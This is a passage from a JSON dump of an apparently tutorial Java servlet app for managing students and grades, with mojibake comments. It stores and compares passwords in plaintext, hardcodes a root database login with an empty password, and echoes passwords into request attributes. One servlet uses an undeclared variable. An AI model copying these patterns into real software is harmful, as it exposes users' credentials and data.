rs=pstmt.executeQuery();\n\t\tif(rs.next()){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/dao/UserDao.java",
    "content": "package com.jun.plugin.bizservice.dao;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\n\nimport com.jun.plugin.bizservice.model.User;\n\n\npublic class UserDao {\n\n\t/**\n\t * ��¼��֤\n\t * @param con\n\t * @param user\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic User login(Connection con,User user) throws Exception{\n\t\tUser resultUser=null;\n\t\tString sql=\"select * from t_user where userName=? and password=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, user.getUserName());\n\t\tpstmt.setString(2, user.getPassword());\n\t\tResultSet rs=pstmt.executeQuery();\n\t\tif(rs.next()){\n\t\t\tresultUser=new User();\n\t\t\tresultUser.setUserName(rs.getString(\"userName\"));\n\t\t\tresultUser.setPassword(rs.getString(\"password\"));\n\t\t}\n\t\treturn resultUser;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/model/Grade.java",
    "content": "package com.jun.plugin.bizservice.model;\n\npublic class Grade {\n\n\tprivate int id;\n\tprivate String gradeName;\n\tprivate String gradeDesc;\n\t\n\t\n\tpublic Grade() {\n\t\tsuper();\n\t\t// TODO Auto-generated constructor stub\n\t}\n\t\n\t\n\tpublic Grade(String gradeName, String gradeDesc) {\n\t\tsuper();\n\t\tthis.gradeName = gradeName;\n\t\tthis.gradeDesc = gradeDesc;\n\t}\n\n\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getGradeName() {\n\t\treturn gradeName;\n\t}\n\tpublic void setGradeName(String gradeName) {\n\t\tthis.gradeName = gradeName;\n\t}\n\tpublic String getGradeDesc() {\n\t\treturn gradeDesc;\n\t}\n\tpublic void setGradeDesc(String gradeDesc) {\n\t\tthis.gradeDesc = gradeDesc;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/model/PageBean.java",
    "content": "package com.jun.plugin.bizservice.model;\n\npublic class PageBean {\n\n\tprivate int page; // �ڼ�ҳ\n\tprivate int rows; // ÿҳ��¼��\n\tprivate int start;  // ��ʼҳ\n\t\n\t\n\tpublic PageBean(int page, int rows) {\n\t\tsuper();\n\t\tthis.page = page;\n\t\tthis.rows = rows;\n\t}\n\t\n\tpublic int getPage() {\n\t\treturn page;\n\t}\n\tpublic void setPage(int page) {\n\t\tthis.page = page;\n\t}\n\tpublic int getRows() {\n\t\treturn rows;\n\t}\n\tpublic void setRows(int rows) {\n\t\tthis.rows = rows;\n\t}\n\tpublic int getStart() {\n\t\treturn (page-1)*rows;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/model/Student.java",
    "content": "package com.jun.plugin.bizservice.model;\n\nimport java.util.Date;\n\npublic class Student {\n\n\tprivate int stuId;\n\tprivate String stuNo;\n\tprivate String stuName;\n\tprivate String sex;\n\tprivate Date birthday;\n\tprivate int gradeId=-1;\n\tprivate String email;\n\tprivate String stuDesc;\n\t\n\tprivate String gradeName;\n\t\n\t\n\t\n\tpublic Student() {\n\t\tsuper();\n\t}\n\t\n\t\n\tpublic Student(String stuNo, String stuName, String sex, Date birthday,\n\t\t\tint gradeId, String email, String stuDesc) {\n\t\tsuper();\n\t\tthis.stuNo = stuNo;\n\t\tthis.stuName = stuName;\n\t\tthis.sex = sex;\n\t\tthis.birthday = birthday;\n\t\tthis.gradeId = gradeId;\n\t\tthis.email = email;\n\t\tthis.stuDesc = stuDesc;\n\t}\n\n\n\tpublic int getStuId() {\n\t\treturn stuId;\n\t}\n\tpublic void setStuId(int stuId) {\n\t\tthis.stuId = stuId;\n\t}\n\tpublic String getStuNo() {\n\t\treturn stuNo;\n\t}\n\tpublic void setStuNo(String stuNo) {\n\t\tthis.stuNo = stuNo;\n\t}\n\tpublic String getStuName() {\n\t\treturn stuName;\n\t}\n\tpublic void setStuName(String stuName) {\n\t\tthis.stuName = stuName;\n\t}\n\tpublic String getSex() {\n\t\treturn sex;\n\t}\n\tpublic void setSex(String sex) {\n\t\tthis.sex = sex;\n\t}\n\tpublic Date getBirthday() {\n\t\treturn birthday;\n\t}\n\tpublic void setBirthday(Date birthday) {\n\t\tthis.birthday = birthday;\n\t}\n\tpublic int getGradeId() {\n\t\treturn gradeId;\n\t}\n\tpublic void setGradeId(int gradeId) {\n\t\tthis.gradeId = gradeId;\n\t}\n\tpublic String getEmail() {\n\t\treturn email;\n\t}\n\tpublic void setEmail(String email) {\n\t\tthis.email = email;\n\t}\n\tpublic String getStuDesc() {\n\t\treturn stuDesc;\n\t}\n\tpublic void setStuDesc(String stuDesc) {\n\t\tthis.stuDesc = stuDesc;\n\t}\n\tpublic String getGradeName() {\n\t\treturn gradeName;\n\t}\n\tpublic void setGradeName(String gradeName) {\n\t\tthis.gradeName = gradeName;\n\t}\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/model/User.java",
    "content": "package com.jun.plugin.bizservice.model;\n\n/**\n * �û�Model��\n * @author www.java1234.com\n *\n */\npublic class User {\n\n\tprivate int id;\n\tprivate String userName;\n\tprivate String password;\n\t\n\tpublic User() {\n\t\tsuper();\n\t\t// TODO Auto-generated constructor stub\n\t}\n\n\tpublic User(String userName, String password) {\n\t\tsuper();\n\t\tthis.userName = userName;\n\t\tthis.password = password;\n\t}\n\t\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/util/DateUtil.java",
    "content": "package com.jun.plugin.bizservice.util;\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\npublic class DateUtil {\n\n\tpublic static String formatDate(Date date,String format){\n\t\tString result=\"\";\n\t\tSimpleDateFormat sdf=new SimpleDateFormat(format);\n\t\tif(date!=null){\n\t\t\tresult=sdf.format(date);\n\t\t}\n\t\treturn result;\n\t}\n\t\n\t\n\tpublic static Date formatString(String str,String format) throws Exception{\n\t\tSimpleDateFormat sdf=new SimpleDateFormat(format);\n\t\treturn sdf.parse(str);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/util/DbUtil.java",
    "content": "package com.jun.plugin.bizservice.util;\n\nimport java.sql.Connection;\nimport java.sql.DriverManager;\n\npublic class DbUtil {\n\n\tprivate String dbUrl=\"jdbc:mysql://localhost:3306/db_test?useUnicode=true&characterEncoding=utf-8\";\n\tprivate String dbUserName=\"root\";\n\tprivate String dbPassword=\"\";\n\tprivate String jdbcName=\"com.mysql.jdbc.Driver\";\n\t\n\t/**\n\t * ��ȡ���ݿ�����\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic Connection getCon() throws Exception{\n\t\tClass.forName(jdbcName);\n\t\tConnection con=DriverManager.getConnection(dbUrl,dbUserName,dbPassword);\n\t\treturn con;\n\t}\n\t\n\t/**\n\t * �ر����ݿ�����\n\t * @param con\n\t * @throws Exception\n\t */\n\tpublic void closeCon(Connection con) throws Exception{\n\t\tif(con!=null){\n\t\t\tcon.close();\n\t\t}\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tDbUtil dbUtil=new DbUtil();\n\t\ttry {\n\t\t\tdbUtil.getCon();\n\t\t\tSystem.out.println(\"���ݿ����ӳɹ�\");\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/util/JsonUtil.java",
    "content": "package com.jun.plugin.bizservice.util;\n\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.util.Date;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\npublic class JsonUtil {\n\n\tpublic static JSONArray formatRsToJsonArray(ResultSet rs)throws Exception{\n\t\tResultSetMetaData md=rs.getMetaData();\n\t\tint num=md.getColumnCount();\n\t\tJSONArray array=new JSONArray();\n\t\twhile(rs.next()){\n\t\t\tJSONObject mapOfColValues=new JSONObject();\n\t\t\tfor(int i=1;i<=num;i++){\n\t\t\t\tObject o=rs.getObject(i);\n\t\t\t\tif(o instanceof Date){\n\t\t\t\t\tmapOfColValues.put(md.getColumnName(i), DateUtil.formatDate((Date)o, \"yyyy-MM-dd\"));\n\t\t\t\t}else{\n\t\t\t\t\tmapOfColValues.put(md.getColumnName(i), rs.getObject(i));\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tarray.add(mapOfColValues);\n\t\t}\n\t\treturn array;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/util/ResponseUtil.java",
    "content": "package com.jun.plugin.bizservice.util;\n\nimport java.io.PrintWriter;\n\nimport javax.servlet.http.HttpServletResponse;\n\nimport net.sf.json.JSONObject;\n\npublic class ResponseUtil {\n\n\tpublic static void write(HttpServletResponse response,Object o)throws Exception{\n\t\tresponse.setContentType(\"text/html;charset=utf-8\");\n\t\tPrintWriter out=response.getWriter();\n\t\tout.println(o.toString());\n\t\tout.flush();\n\t\tout.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/util/StringUtil.java",
    "content": "package com.jun.plugin.bizservice.util;\n\npublic class StringUtil {\n\n\tpublic static boolean isEmpty(String str){\n\t\tif(\"\".equals(str)|| str==null){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\tpublic static boolean isNotEmpty(String str){\n\t\tif(!\"\".equals(str)&&str!=null){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/ActionServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.bizservice.util.ResponseUtil;\nimport com.jun.plugin.webservlet.BaseServlet;\n\n@WebServlet(name=\"actionServlet\",urlPatterns=\"/action\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class ActionServlet extends BaseServlet {\n\n\tprivate static final long serialVersionUID = -2166745054117904738L;\n\t\n\t/**\n\t * 查找\n\t * @param request\n\t * @param response\n\t * @throws ServletException\n\t * @throws IOException\n\t * http://localhost:8080/jun_webservlet/action?method=gopage\n\t */\n\tpublic void rRedirect(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tString username = request.getParameter(\"username\");  //获取findname参数的值\n\t\tSystem.out.println(\"username:\"+username);    //打印username\n\t\trequest.setAttribute(\"session_username\",username);\n \n\t\tif(\"admin\".equals(username)){   //如果username是\"admin\"  就将它保存到request域中\n\t\t\tsession.setAttribute(\"request_username\",username);\n\t\t}\n\t\trequest.getRequestDispatcher(\"/index.jsp\").forward(request,response);  //转发到index.jsp页面\n\t\t//response.sendRedirect(rootPath+\"/index.jsp\");\n\t}\n\t\n\t/**\n\t * 查找\n\t * @param request\n\t * @param response\n\t * @throws ServletException\n\t * @throws IOException\n\t * http://localhost:8080/jun_webservlet/action?method=add\n\t */\n\tpublic void add(HttpServletRequest request, HttpServletResponse response) throws Exception {\n        //执行service层代码\n    \tSystem.out.println(\" action add \");\n\t\tResponseUtil.write(response, \"add\");\n    }\n    \n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/GradeComboListServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\nimport java.sql.Connection;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.bizservice.dao.GradeDao;\nimport com.jun.plugin.bizservice.model.Grade;\nimport com.jun.plugin.bizservice.model.PageBean;\nimport com.jun.plugin.bizservice.util.DbUtil;\nimport com.jun.plugin.bizservice.util.JsonUtil;\nimport com.jun.plugin.bizservice.util.ResponseUtil;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\n@WebServlet(name=\"GradeComboListServlet\",urlPatterns=\"/gradeComboList\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class GradeComboListServlet extends HttpServlet{\n\tDbUtil dbUtil=new DbUtil();\n\tGradeDao gradeDao=new GradeDao();\n\t\n\t@Override\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tConnection con=null;\n\t\ttry{\n\t\t\tcon=dbUtil.getCon();\n\t\t\tJSONArray jsonArray=new JSONArray();\n\t\t\tJSONObject jsonObject=new JSONObject();\n\t\t\tjsonObject.put(\"id\", \"\");\n\t\t\tjsonObject.put(\"gradeName\", \"��ѡ��...\");\n\t\t\tjsonArray.add(jsonObject);\n\t\t\tjsonArray.addAll(JsonUtil.formatRsToJsonArray(gradeDao.gradeList(con, null,null)));\n\t\t\tResponseUtil.write(response, jsonArray);\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tdbUtil.closeCon(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/GradeDeleteServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\nimport java.sql.Connection;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.bizservice.dao.GradeDao;\nimport com.jun.plugin.bizservice.dao.StudentDao;\nimport com.jun.plugin.bizservice.util.DbUtil;\nimport com.jun.plugin.bizservice.util.ResponseUtil;\n\nimport net.sf.json.JSONObject;\n\n@WebServlet(name=\"GradeDeleteServlet\",urlPatterns=\"/gradeDelete\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class GradeDeleteServlet extends HttpServlet{\n\tDbUtil dbUtil=new DbUtil();\n\tGradeDao gradeDao=new GradeDao();\n\tStudentDao studentDao=new StudentDao();\n\t\n\t@Override\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString delIds=request.getParameter(\"delIds\");\n\t\tConnection con=null;\n\t\ttry{\n\t\t\tcon=dbUtil.getCon();\n\t\t\tJSONObject result=new JSONObject();\n\t\t\tString str[]=delIds.split(\",\");\n\t\t\tfor(int i=0;i<str.length;i++){\n\t\t\t\tboolean f=studentDao.getStudentByGradeId(con, str[i]);\n\t\t\t\tif(f){\n\t\t\t\t\tresult.put(\"errorIndex\", i);\n\t\t\t\t\tresult.put(\"errorMsg\", \"�༶������ѧ��������ɾ����\");\n\t\t\t\t\tResponseUtil.write(response, result);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\tint delNums=gradeDao.gradeDelete(con, delIds);\n\t\t\tif(delNums>0){\n\t\t\t\tresult.put(\"success\", \"true\");\n\t\t\t\tresult.put(\"delNums\", delNums);\n\t\t\t}else{\n\t\t\t\tresult.put(\"errorMsg\", \"ɾ��ʧ��\");\n\t\t\t}\n\t\t\tResponseUtil.write(response, result);\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tdbUtil.closeCon(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/GradeListServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\n\nimport java.sql.Connection;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.bizservice.dao.GradeDao;\nimport com.jun.plugin.bizservice.model.Grade;\nimport com.jun.plugin.bizservice.model.PageBean;\nimport com.jun.plugin.bizservice.util.DbUtil;\nimport com.jun.plugin.bizservice.util.JsonUtil;\nimport com.jun.plugin.bizservice.util.ResponseUtil;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\n@WebServlet(name=\"GradeListServlet\",urlPatterns=\"/gradeList\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class GradeListServlet extends HttpServlet{\n\tDbUtil dbUtil=new DbUtil();\n\tGradeDao gradeDao=new GradeDao();\n\t\n\t@Override\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString page=request.getParameter(\"page\");\n\t\tString rows=request.getParameter(\"rows\");\n\t\tString gradeName=request.getParameter(\"gradeName\");\n\t\tif(gradeName==null){\n\t\t\tgradeName=\"\";\n\t\t}\n\t\tGrade grade=new Grade();\n\t\tgrade.setGradeName(gradeName);\n\t\tPageBean pageBean=new PageBean(Integer.parseInt(page),Integer.parseInt(rows));\n\t\tConnection con=null;\n\t\ttry{\n\t\t\tcon=dbUtil.getCon();\n\t\t\tJSONObject result=new JSONObject();\n\t\t\tJSONArray jsonArray=JsonUtil.formatRsToJsonArray(gradeDao.gradeList(con, pageBean,grade));\n\t\t\tint total=gradeDao.gradeCount(con,grade);\n\t\t\tresult.put(\"rows\", jsonArray);\n\t\t\tresult.put(\"total\", total);\n\t\t\tResponseUtil.write(response, result);\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tdbUtil.closeCon(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/GradeSaveServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\nimport java.sql.Connection;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.bizservice.dao.GradeDao;\nimport com.jun.plugin.bizservice.model.Grade;\nimport com.jun.plugin.bizservice.model.PageBean;\nimport com.jun.plugin.bizservice.util.DbUtil;\nimport com.jun.plugin.bizservice.util.JsonUtil;\nimport com.jun.plugin.bizservice.util.ResponseUtil;\nimport com.jun.plugin.bizservice.util.StringUtil;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\n@WebServlet(name=\"GradeSaveServlet\",urlPatterns=\"/gradeSave\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class GradeSaveServlet extends HttpServlet{\n\tDbUtil dbUtil=new DbUtil();\n\tGradeDao gradeDao=new GradeDao();\n\t\n\t@Override\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\trequest.setCharacterEncoding(\"utf-8\");\n\t\tString gradeName=request.getParameter(\"gradeName\");\n\t\tString gradeDesc=request.getParameter(\"gradeDesc\");\n\t\tString id=request.getParameter(\"id\");\n\t\tGrade grade=new Grade(gradeName,gradeDesc);\n\t\tif(StringUtil.isNotEmpty(id)){\n\t\t\tgrade.setId(Integer.parseInt(id));\n\t\t}\n\t\tConnection con=null;\n\t\ttry{\n\t\t\tcon=dbUtil.getCon();\n\t\t\tint saveNums=0;\n\t\t\tJSONObject result=new JSONObject();\n\t\t\tif(StringUtil.isNotEmpty(id)){\n\t\t\t\tsaveNums=gradeDao.gradeModify(con, grade);\n\t\t\t}else{\n\t\t\t\tsaveNums=gradeDao.gradeAdd(con, grade);\n\t\t\t}\n\t\t\tif(saveNums>0){\n\t\t\t\tresult.put(\"success\", \"true\");\n\t\t\t}else{\n\t\t\t\tresult.put(\"success\", \"true\");\n\t\t\t\tresult.put(\"errorMsg\", \"����ʧ��\");\n\t\t\t}\n\t\t\tResponseUtil.write(response, result);\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tdbUtil.closeCon(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/LoginServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\nimport java.sql.Connection;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\nimport com.jun.plugin.bizservice.dao.UserDao;\nimport com.jun.plugin.bizservice.model.User;\nimport com.jun.plugin.bizservice.util.DbUtil;\nimport com.jun.plugin.bizservice.util.StringUtil;\n\n@WebServlet(name=\"LoginServlet\",urlPatterns=\"/login\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class LoginServlet extends HttpServlet{\n\tDbUtil dbUtil=new DbUtil();\n\tUserDao userDao=new UserDao();\n\t\n\t@Override\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString userName=request.getParameter(\"userName\");\n\t\tString password=request.getParameter(\"password\");\n\t\trequest.setAttribute(\"userName\", userName);\n\t\trequest.setAttribute(\"password\", password);\n\t\tif(StringUtil.isEmpty(userName)||StringUtil.isEmpty(password)){\n\t\t\trequest.setAttribute(\"error\", \"�û���������Ϊ�գ�\");\n\t\t\trequest.getRequestDispatcher(\"index.jsp\").forward(request, response);\n\t\t\treturn;\n\t\t}\n\t\tUser user=new User(userName,password);\n\t\tConnection con=null;\n\t\ttry {\n\t\t\tcon=dbUtil.getCon();\n\t\t\tUser currentUser=userDao.login(con, user);\n\t\t\tif(currentUser==null){\n\t\t\t\trequest.setAttribute(\"error\", \"�û������������\");\n\t\t\t\t// ��������ת\n\t\t\t\trequest.getRequestDispatcher(\"index.jsp\").forward(request, response);\n\t\t\t}else{\n\t\t\t\t// ��ȡSession\n\t\t\t\tHttpSession session=request.getSession();\n\t\t\t\tsession.setAttribute(\"currentUser\", currentUser);\n\t\t\t\t// �ͻ�����ת\n\t\t\t\tresponse.sendRedirect(\"main.jsp\");\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tdbUtil.closeCon(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/StudentDeleteServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\nimport java.sql.Connection;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.bizservice.dao.StudentDao;\nimport com.jun.plugin.bizservice.util.DbUtil;\nimport com.jun.plugin.bizservice.util.ResponseUtil;\n\nimport net.sf.json.JSONObject;\n\n@WebServlet(name=\"StudentDeleteServlet\",urlPatterns=\"/studentDelete\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class StudentDeleteServlet extends HttpServlet{\n\tDbUtil dbUtil=new DbUtil();\n\tStudentDao studentDao=new StudentDao();\n\t\n\t@Override\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString delIds=request.getParameter(\"delIds\");\n\t\tConnection con=null;\n\t\ttry{\n\t\t\tcon=dbUtil.getCon();\n\t\t\tJSONObject result=new JSONObject();\n\t\t\tint delNums=studentDao.studentDelete(con, delIds);\n\t\t\tif(delNums>0){\n\t\t\t\tresult.put(\"success\", \"true\");\n\t\t\t\tresult.put(\"delNums\", delNums);\n\t\t\t}else{\n\t\t\t\tresult.put(\"errorMsg\", \"ɾ��ʧ��\");\n\t\t\t}\n\t\t\tResponseUtil.write(response, result);\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tdbUtil.closeCon(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/StudentListServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\nimport java.sql.Connection;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.bizservice.dao.StudentDao;\nimport com.jun.plugin.bizservice.model.PageBean;\nimport com.jun.plugin.bizservice.model.Student;\nimport com.jun.plugin.bizservice.util.DbUtil;\nimport com.jun.plugin.bizservice.util.JsonUtil;\nimport com.jun.plugin.bizservice.util.ResponseUtil;\nimport com.jun.plugin.bizservice.util.StringUtil;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\n@WebServlet(name=\"StudentListServlet\",urlPatterns=\"/studentList\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class StudentListServlet extends HttpServlet{\n\tDbUtil dbUtil=new DbUtil();\n\tStudentDao studentDao=new StudentDao();\n\t\n\t@Override\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString stuNo=request.getParameter(\"stuNo\");\n\t\tString stuName=request.getParameter(\"stuName\");\n\t\tString sex=request.getParameter(\"sex\");\n\t\tString bbirthday=request.getParameter(\"bbirthday\");\n\t\tString ebirthday=request.getParameter(\"ebirthday\");\n\t\tString gradeId=request.getParameter(\"gradeId\");\n\t\t\n\t\tStudent student=new 